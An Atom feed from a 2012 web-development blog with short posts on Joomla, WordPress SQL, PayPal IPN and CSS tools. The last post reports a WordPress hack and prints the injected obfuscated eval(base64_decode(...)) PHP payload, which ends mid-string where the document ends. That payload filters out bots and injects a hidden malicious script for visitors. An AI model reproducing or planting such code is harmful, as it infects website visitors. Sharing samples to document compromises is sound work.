<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;C0cNQno8eyp7ImA9WhVUE0g.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079</id><updated>2012-05-18T07:24:53.473-07:00</updated><category term="mobile" /><category term="flash" /><category term="javascript" /><category term="SQL" /><category term="coldfusion" /><category term="admin" /><category term="html5" /><category term="debugging" /><category term="xls" /><category term="joomla" /><category term="Titanium" /><category term="iframe" /><category term="as3" /><category term="csvi" /><category term="remote address" /><category term="private messages" /><category term="adobe" /><category term="analytics" /><category term="vbulletin" /><category term="template" /><category term="k2" /><category term="t-sql" /><category term="firefox" /><category term="module" /><category term="FedEx" /><category term="excel" /><category term="plugin" /><category term="spam" /><category term="rss" /><category term="k2mart" /><category term="IE issues" /><category term="email" /><category term="datePicker" /><category term="image" /><category term="gantry" /><category term="mootools" /><category term="IE7" /><category term="hack" /><category term="snippet" /><category term="jQuery" /><category term="mysql" /><category term="thickbox" /><category term="php" /><category term="rokstories" /><category term="sh404sef" /><category term="phpmyadmin" /><category term="css3" /><category term="squeezebox" /><category term="import/export" /><category term="ideas" /><category term="API" /><category term="pdf" /><category term="wordpress" /><category term="Auto post" /><category term="Shipping" /><category term="outlook" /><category term="userport" /><category term="reservation" /><category term="slider" /><category term="paypal" /><category term="ppc" /><category term="twitter" /><category term="IE8" /><category term="virtuemart" /><category term="jQueryUI" /><category term="feedburner" /><category term="error" /><category term="modalizer" /><category term="widget" /><category term="rockettheme" /><category term="virutemart" /><category term="zip" /><category term="google" /><category term="xhr" /><title>CodePyro</title><subtitle type="html">a blog about programming, ideas, and interesting tech</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.codepyro.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.codepyro.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>63</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Codepyro" /><feedburner:info uri="codepyro" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>Codepyro</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><entry gd:etag="W/&quot;DkQCSHc4eSp7ImA9WhVVFk0.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-3819236669921218187</id><published>2012-05-09T15:59:00.001-07:00</published><updated>2012-05-09T15:59:29.931-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-09T15:59:29.931-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><title>Breezing Forms Emailed CSV attachment Field sort order</title><content type="html">In the latest version of Breezing Forms the email notification with CSV attachment is an awesome feature. I really enjoy that component for joomla its incredible and makes my job much easier.&lt;br /&gt;
&lt;br /&gt;
Today's request and issue that bugs me is that they sort the fields in the CSV instead of leaving them as in defined in the admin.&lt;br /&gt;
example&lt;br /&gt;
EXAM1_QUESTION1. EXAM1_QUESTION10,EXAM1_QUESTION11, EXAM1_QUESTION2&lt;br /&gt;
&lt;br /&gt;
This is annoying; To Solve&lt;br /&gt;
&lt;br /&gt;
Edit lines 4391 and 4401&lt;br /&gt;
comment out &amp;nbsp; ksort($fields);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-3819236669921218187?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/TbE_Etygqx_vwYZYQMj8PaUg4ak/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TbE_Etygqx_vwYZYQMj8PaUg4ak/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/TbE_Etygqx_vwYZYQMj8PaUg4ak/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TbE_Etygqx_vwYZYQMj8PaUg4ak/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/SwvanSbTaq4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/3819236669921218187/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/05/breezing-forms-emailed-csv-attachment.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3819236669921218187?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3819236669921218187?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/SwvanSbTaq4/breezing-forms-emailed-csv-attachment.html" title="Breezing Forms Emailed CSV attachment Field sort order" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/05/breezing-forms-emailed-csv-attachment.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EHQ3s-cSp7ImA9WhVWGEU.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-185702874759920919</id><published>2012-05-01T07:13:00.002-07:00</published><updated>2012-05-01T07:13:52.559-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-01T07:13:52.559-07:00</app:edited><title>How to Track FB likes in Google Analytics</title><content type="html">Google recently released some upgrades for Google Analytics that will track your social interactions. This is great information and allows you to track interesting things like a FB share that leads to an e-commerce sale. &lt;br /&gt;&lt;br /&gt;Here is google's &lt;a href="https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingSocial%20"&gt;How To document &lt;/a&gt;&lt;br /&gt;https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingSocial &lt;br /&gt;&lt;br /&gt;And some more information about each &lt;a href="http://support.google.com/analytics/bin/answer.py?hl=en&amp;amp;answer=1316556"&gt;social report&lt;/a&gt;&lt;br /&gt;http://support.google.com/analytics/bin/answer.py?hl=en&amp;amp;answer=1316556&lt;br /&gt;&lt;br /&gt;Ill have to upgrade my social sharing and see how it works.. stay tuned&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-185702874759920919?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GCislq0d8Qn9GOCiaF4LItpn-yM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GCislq0d8Qn9GOCiaF4LItpn-yM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GCislq0d8Qn9GOCiaF4LItpn-yM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GCislq0d8Qn9GOCiaF4LItpn-yM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/DX3I-9Rtemk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/185702874759920919/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/05/how-to-track-fb-likes-in-google.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/185702874759920919?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/185702874759920919?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/DX3I-9Rtemk/how-to-track-fb-likes-in-google.html" title="How to Track FB likes in Google Analytics" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/05/how-to-track-fb-likes-in-google.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQMRHc-fip7ImA9WhVWGE8.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-3616001012221971396</id><published>2012-04-30T14:59:00.001-07:00</published><updated>2012-04-30T15:03:05.956-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-04-30T15:03:05.956-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="phpmyadmin" /><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><title>Replace Test urls in Wordpress to live using phpmyadmin</title><content type="html">Just a quick help snippet for those of us who test wp websites on a test domain before moving them to a live url.&lt;br /&gt;
&lt;br /&gt;
This issue arises when using a test domain for building a site and uploaded images, pdfs etc link to the test domain. When you make the website live the links still point to the old url in each and every post and page. Here is a quick SQL snippet to replace those old urls.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;    UPDATE wp_posts
    SET guid =
    REPLACE(

        guid,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    );

 UPDATE wp_posts
    SET post_content =
    REPLACE(

        post_content,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    );
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-3616001012221971396?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_NihoZgEsOD35etcNSFao8gRiZo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_NihoZgEsOD35etcNSFao8gRiZo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_NihoZgEsOD35etcNSFao8gRiZo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_NihoZgEsOD35etcNSFao8gRiZo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/oyReQ0tOMIE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/3616001012221971396/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/04/wordpress.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3616001012221971396?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3616001012221971396?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/oyReQ0tOMIE/wordpress.html" title="Replace Test urls in Wordpress to live using phpmyadmin" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/04/wordpress.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UMRXY-cCp7ImA9WhVQFkQ.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-5980181078615481681</id><published>2012-04-05T23:54:00.000-07:00</published><updated>2012-04-05T23:54:44.858-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-04-05T23:54:44.858-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="paypal" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>PHP simple Paypal IPN</title><content type="html">To setup a quick Paypal IPN &lt;br /&gt;
&lt;br /&gt;
This quicky uses the code from &lt;br /&gt;
http://code.google.com/p/paypal-ipn-class-php/&lt;br /&gt;
&lt;br /&gt;
Download code; unzip; place in site;&lt;br /&gt;
&lt;br /&gt;
Next create your Paypal Button form. Make sure it Posts to paypal.php.&lt;br /&gt;
Use &lt;i&gt;paypal.php?sandbox=1&lt;/i&gt; to test in the sandbox&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;form action=&amp;quot;paypal.php?sandbox=1&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;cmd&amp;quot; value=&amp;quot;_xclick&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;business&amp;quot; value=&amp;quot;PAYPAL EMAIL ADDRESS&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;lc&amp;quot; value=&amp;quot;US&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;item_name&amp;quot; value=&amp;quot;Stuff&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;item_number&amp;quot; value=&amp;quot;123&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;2.99&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;currency_code&amp;quot; value=&amp;quot;USD&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;button_subtype&amp;quot; value=&amp;quot;services&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;no_note&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;no_shipping&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt; 
&amp;lt;input type=&amp;quot;image&amp;quot; src=&amp;quot;https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif&amp;quot; border=&amp;quot;0&amp;quot; name=&amp;quot;submit&amp;quot; alt=&amp;quot;PayPal - The safer, easier way to pay online!&amp;quot;&amp;gt;
&amp;lt;img alt=&amp;quot;&amp;quot; border=&amp;quot;0&amp;quot; src=&amp;quot;https://www.paypalobjects.com/en_US/i/scr/pixel.gif&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;

&lt;/pre&gt;&lt;br /&gt;
Next make sure you change the 2 settings for the emails and ADD the line for the SMTP server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt; define('EMAIL_ADD', 'PAYPALEMAIL'); // For system notification.
 define('PAYPAL_EMAIL_ADD', 'PAYPALEMAIL');
ini_set(&amp;quot;SMTP&amp;quot;, &amp;quot;mail.MAILSERVER.com&amp;quot;);

&lt;/pre&gt;&lt;br /&gt;
Then down on line 96ish add the fields from your specific form to look like&lt;br /&gt;
&lt;pre class="brush: plain"&gt;
$p-&amp;gt;add_field('business', PAYPAL_EMAIL_ADD); //don't need add this item. if your set the $p -&amp;gt; paypal_mail.
            $p-&amp;gt;add_field('return', $this_script.'?action=success');
            $p-&amp;gt;add_field('cancel_return', $this_script.'?action=cancel');
            $p-&amp;gt;add_field('notify_url', $this_script.'?action=ipn');
            $p-&amp;gt;add_field('item_name', $_POST['item_name']);
            $p-&amp;gt;add_field('item_number', $_POST['item_number']);
            $p-&amp;gt;add_field('lc', $_POST['lc']);
            $p-&amp;gt;add_field('amount', $_POST['amount']);
            $p-&amp;gt;add_field('cmd', '_xclick');
            $p-&amp;gt;add_field('rm', '2');    // Return method = POST
 
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-5980181078615481681?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/A8tGfxW8nIAB_S3EKCC3EqgjIzk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A8tGfxW8nIAB_S3EKCC3EqgjIzk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/A8tGfxW8nIAB_S3EKCC3EqgjIzk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A8tGfxW8nIAB_S3EKCC3EqgjIzk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/dDdUzs9hgaM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/5980181078615481681/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/04/php-simple-paypal-ipn.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/5980181078615481681?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/5980181078615481681?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/dDdUzs9hgaM/php-simple-paypal-ipn.html" title="PHP simple Paypal IPN" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/04/php-simple-paypal-ipn.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcAQXYycCp7ImA9WhVSF00.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-7270525727267693328</id><published>2012-03-13T21:40:00.000-07:00</published><updated>2012-03-13T21:40:40.898-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-13T21:40:40.898-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><title>mysql replace string</title><content type="html">&lt;pre class="brush: plain"&gt;update jos_vm_product
set product_name = REPLACE(product_name,'OLD TEXT','NEW TEXT')
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-7270525727267693328?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/A86inVEmZGB3_eL5dHnovMeTpU4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A86inVEmZGB3_eL5dHnovMeTpU4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/A86inVEmZGB3_eL5dHnovMeTpU4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A86inVEmZGB3_eL5dHnovMeTpU4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/F9hs3CGIR6Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/7270525727267693328/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/03/mysql-replace-string.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/7270525727267693328?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/7270525727267693328?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/F9hs3CGIR6Q/mysql-replace-string.html" title="mysql replace string" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/03/mysql-replace-string.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8DRnk9fCp7ImA9WhVTEEU.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-6721626804328622634</id><published>2012-02-24T05:07:00.000-08:00</published><updated>2012-02-24T05:07:57.764-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-24T05:07:57.764-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="css3" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><title>Gradient Generator tool - ROCKS</title><content type="html">The dev team behind the &lt;a href="http://www.colorzilla.com/gradient-editor/"&gt;colorzilla gradient editor &lt;/a&gt; need a bunch of Kudos, this tool works really well for generating CSS gradients of any shape and size. I really like how they allow you to paste hex colors into the editor from photoshop!&lt;br /&gt;
&lt;br /&gt;
THANK YOU - colorzilla peoples!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-6721626804328622634?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pU21-8qTX0W_GjqbS0V1eQIyXvY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pU21-8qTX0W_GjqbS0V1eQIyXvY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pU21-8qTX0W_GjqbS0V1eQIyXvY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pU21-8qTX0W_GjqbS0V1eQIyXvY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/49CoedPRaig" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/6721626804328622634/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/02/gradient-generator-tool-rocks.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6721626804328622634?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6721626804328622634?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/49CoedPRaig/gradient-generator-tool-rocks.html" title="Gradient Generator tool - ROCKS" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>1</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/02/gradient-generator-tool-rocks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYNSH04eip7ImA9WhVTEE4.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-146423643459196510</id><published>2012-02-23T14:58:00.001-08:00</published><updated>2012-02-23T15:03:19.332-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-23T15:03:19.332-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="hack" /><title>Wordpress index.php hacked  iframe points to ksenzfhvcb.dns1.us</title><content type="html">Several Wordpress sites were hacked today with an insert into the index.php. I have not yet figured out How it happened, and will post when/if I figure it out.&lt;br /&gt;
&lt;br /&gt;
Here was the hacked/added text&lt;br /&gt;
&lt;pre class="brush: plain"&gt;eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNkYkoyUW5LeWR2Snlzbll5Y3JKM1VuS3lkdEp5c25aU2NySjI1MEoxMHBZV0U5TDF4M0x5NWxlR1ZqS0c1bGR5QkVZWFJsS0NrcExtbHVaR1Y0SzF0ZE8yRmhZVDBuTUNjN2RISjVlMjVsZHlCa2IyTjFiV1Z1ZENncE8zMWpZWFJqYUNoeGNYRXBlM056UFZOMGNtbHVaenQ5YVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVk5Snkwek1IWXRNekIyTmpaMk5qTjJMVGQyTVhZMk1YWTNNblkyTUhZM09IWTNNSFkyTW5ZM01YWTNOM1kzZGpZMGRqWXlkamMzZGpNd2RqWTVkall5ZGpjd2RqWXlkamN4ZGpjM2RqYzJkakkzZGpneWRqUTFkalU0ZGpZMGRqTTVkalU0ZGpjd2RqWXlkakYyTUhZMU9YWTNNblkyTVhZNE1uWXdkakoyTlRKMk9YWTFOSFl5ZGpnMGRpMHpNSFl0TXpCMkxUTXdkalkyZGpZemRqYzFkalU0ZGpjd2RqWXlkamMxZGpGMk1uWXlNSFl0TXpCMkxUTXdkamcyZGkwM2RqWXlkalk1ZGpjMmRqWXlkaTAzZGpnMGRpMHpNSFl0TXpCMkxUTXdkall4ZGpjeWRqWXdkamM0ZGpjd2RqWXlkamN4ZGpjM2RqZDJPREIyTnpWMk5qWjJOemQyTmpKMk1YWXROWFl5TVhZMk5uWTJNM1kzTlhZMU9IWTNNSFkyTW5ZdE4zWTNOblkzTlhZMk1IWXlNbll3ZGpZMWRqYzNkamMzZGpjemRqRTVkamgyT0hZMk9IWTNOblkyTW5ZM01YWTRNM1kyTTNZMk5YWTNPWFkyTUhZMU9YWTNkall4ZGpjeGRqY